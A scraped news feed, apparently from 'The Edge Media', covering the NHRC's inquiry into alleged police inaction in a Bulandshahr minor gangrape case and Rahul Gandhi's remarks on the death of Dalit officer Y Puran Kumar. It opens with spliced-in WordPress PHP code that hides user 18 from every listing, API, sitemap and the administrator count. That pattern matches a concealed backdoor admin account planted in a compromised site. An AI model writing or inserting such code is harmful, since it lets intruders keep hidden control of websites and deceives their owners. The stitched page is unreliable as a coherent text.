add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post NHRC Seeks Report on Alleged Police Inaction in Bulandshahr Minor Gangrape Case appeared first on The Edge Media.
]]>According to the reports, police personnel allegedly attempted to stop the survivor, when she tried to approach the Depty Inspector General (D.I.G.) of the Meerut Division to describe the threats and the events, she endured.
The officer eventually met her and ordered an investigation while also transferring the station house officer of Khurja police station to the police line for alleged negligence.
The Commission stated that it has taken Suo Motu Notice of the media coverage, which suggested serious lapses in police response and potential violations of the survivor’s human rights. The NHRC has directed the Uttar Pradesh Director General of police to submit a comprehensive report within two weeks.
The post NHRC Seeks Report on Alleged Police Inaction in Bulandshahr Minor Gangrape Case appeared first on The Edge Media.
]]>The post Justice for Y Puran Kumar Is Justice for All Dalits: Rahul Gandhi Slams Haryana Govt appeared first on The Edge Media.
]]>After meeting the family of the late officer in Chandigarh, Gandhi addressed the media, alleging that Kumar had been subjected to systematic caste-based discrimination intended to break his spirit and sabotage his career.
“A dangerous message is being sent — that no matter how accomplished or senior you are, if you’re a Dalit, you can still be suppressed and crushed,” Gandhi said.
Kumar, 52, was found dead from a gunshot wound in his home last week. A final note, reportedly left by him, spans eight pages and accuses eight senior IPS officers — including Haryana DGP Shatrujeet Kapur and former Rohtak SP Narendra Bijarniya — of relentless caste-based harassment, mental torture, and public humiliation.
The opposition has since intensified criticism of the Haryana government, with Gandhi accusing CM Saini of failing to ensure a fair and impartial investigation despite earlier promises.
Gandhi also highlighted the emotional toll on Kumar’s family, especially his two daughters, emphasizing the need for justice and accountability.
“This is not just about one man or one family. This is about dignity, justice, and the rights of every Dalit in India,” he added.
The Congress party continues to demand a high-level independent inquiry and immediate suspension of the officers named in Kumar’s note.
The post Justice for Y Puran Kumar Is Justice for All Dalits: Rahul Gandhi Slams Haryana Govt appeared first on The Edge Media.
]]>